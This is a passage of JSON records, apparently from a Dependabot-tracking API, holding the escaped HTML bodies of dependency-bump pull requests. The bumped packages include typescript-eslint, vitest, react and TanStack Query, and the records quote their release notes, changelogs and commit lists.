\u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.71.1\u003c/h2\u003e\n\u003ch2\u003e8.71.1 (2026-10-05)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-misused-promises] skip argument checks for calls without arguments (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12923\"\u003e#12923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unused-vars] report usedOnlyAsType for partially exported merged declarations (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12892\"\u003e#12892\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] use array argument type constraint (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12919\"\u003e#12919\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unsafe-enum-assignment] skip identical types and bound deep type walks (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12957\"\u003e#12957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-confusing-void-expression] don't autofix when declared return type is unknown (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12930\"\u003e#12930\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] check the constrained type (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12953\"\u003e#12953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-parameters] count instantiated mapped type constraints (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12941\"\u003e#12941\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eproject-service:\u003c/strong\u003e throttle cleanup when opening files (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12934\"\u003e#12934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e match re-exports and global declarations in \u003ccode\u003eTypeOrValueSpecifier\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12943\"\u003e#12943\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDiptajoy Mistry \u003ca href=\"https://github.com/diptomistry\"\u003e\u003ccode\u003e@​diptomistry\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJosh Goldberg\u003c/li\u003e\n\u003cli\u003eJosh Goldberg ✨\u003c/li\u003e\n\u003cli\u003eMedhansh Poojari\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.71.2 (2026-10-12)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.2\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.71.1 (2026-10-05)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.71.0 (2026-09-28)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.70.1 (2026-09-21)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.70.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/7488d681f6e0e96c2aaa1eee9c3d1b9b1ef077cb\"\u003e\u003ccode\u003e7488d68\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/d57b8da272375b6a45270639894a793933208a91\"\u003e\u003ccode\u003ed57b8da\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/8695664c5ee3fbb8fd76907fc45e148579cc3162\"\u003e\u003ccode\u003e8695664\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/23d38ceeb8fb1237f55cb62fc2b54419e1fa1ed7\"\u003e\u003ccode\u003e23d38ce\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.70.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/eb42d9b7e7ab0eca543bc16b726688624c532fc6\"\u003e\u003ccode\u003eeb42d9b\u003c/code\u003e\u003c/a\u003e chore: cleanup and fix Nx dependencies and missing tasks (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12897\"\u003e#12897\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/8c8053103f4ab8df3105826181c43fa257289a73\"\u003e\u003ccode\u003e8c80531\u003c/code\u003e\u003c/a\u003e chore: fix typos in comments and docs (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12846\"\u003e#12846\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/b6b86a15dd42aaa0e37054683cb5606c8fd203c2\"\u003e\u003ccode\u003eb6b86a1\u003c/code\u003e\u003c/a\u003e chore: migrate to nx 23.2.0 (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12843\"\u003e#12843\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.71.2/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.11 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/shereme...\n\n_Description has been truncated_","html_url":"https://github.com/ShipFast-Syndicate/enterprise/pull/42","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ShipFast-Syndicate%2Fenterprise/issues/42","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/42/packages"}},{"old_version":"5.0.4","new_version":"5.0.5","update_type":"patch","path":"/cross-compile/www","pr_created_at":"2026-10-23T13:35:41.000Z","version_change":"5.0.4 → 5.0.5","issue":{"uuid":"5998774095","node_id":"PR_kwDOPhMg-s8AAAABKQt3Hw","number":148,"state":"open","title":"chore(deps): bump the npm-minor-patch group in /cross-compile/www with 13 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T13:35:41.000Z","updated_at":"2026-10-23T13:35:49.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm-minor-patch","update_count":13,"packages":[{"name":"@tanstack/react-query","old_version":"5.104.2","new_version":"5.104.5","repository_url":"https://github.com/TanStack/query"},{"name":"lucide-react","old_version":"1.57.0","new_version":"1.60.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-router","old_version":"8.4.0","new_version":"8.5.0","repository_url":"https://github.com/remix-run/react-router"},{"name":"@typescript-eslint/eslint-plugin","old_version":"8.71.2","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"@typescript-eslint/parser","old_version":"8.71.2","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"@vitest/coverage-v8","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"eslint","old_version":"10.12.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"jsdom","old_version":"30.1.2","new_version":"30.1.3","repository_url":"https://github.com/jsdom/jsdom"},{"name":"postcss","old_version":"8.5.30","new_version":"8.5.31","repository_url":"https://github.com/postcss/postcss"},{"name":"typescript-eslint","old_version":"8.71.2","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"vitest","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":"/cross-compile/www","ecosystem":"npm"},"body":"Bumps the npm-minor-patch group in /cross-compile/www with 13 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@tanstack/react-query](https://github.com/TanStack/query/tree/HEAD/packages/react-query) | `5.104.2` | `5.104.5` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.57.0` | `1.60.0` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [react-router](https://github.com/remix-run/react-router/tree/HEAD/packages/react-router) | `8.4.0` | `8.5.0` |\n| [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.71.2` | `8.72.0` |\n| [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.71.2` | `8.72.0` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `5.0.4` | `5.0.5` |\n| [eslint](https://github.com/eslint/eslint) | `10.12.0` | `10.13.0` |\n| [jsdom](https://github.com/jsdom/jsdom) | `30.1.2` | `30.1.3` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.30` | `8.5.31` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.71.2` | `8.72.0` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.4` | `5.0.5` |\n\nUpdates `@tanstack/react-query` from 5.104.2 to 5.104.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/react-query's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-persist-client-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/12117\"\u003e#12117\u003c/a\u003e \u003ca 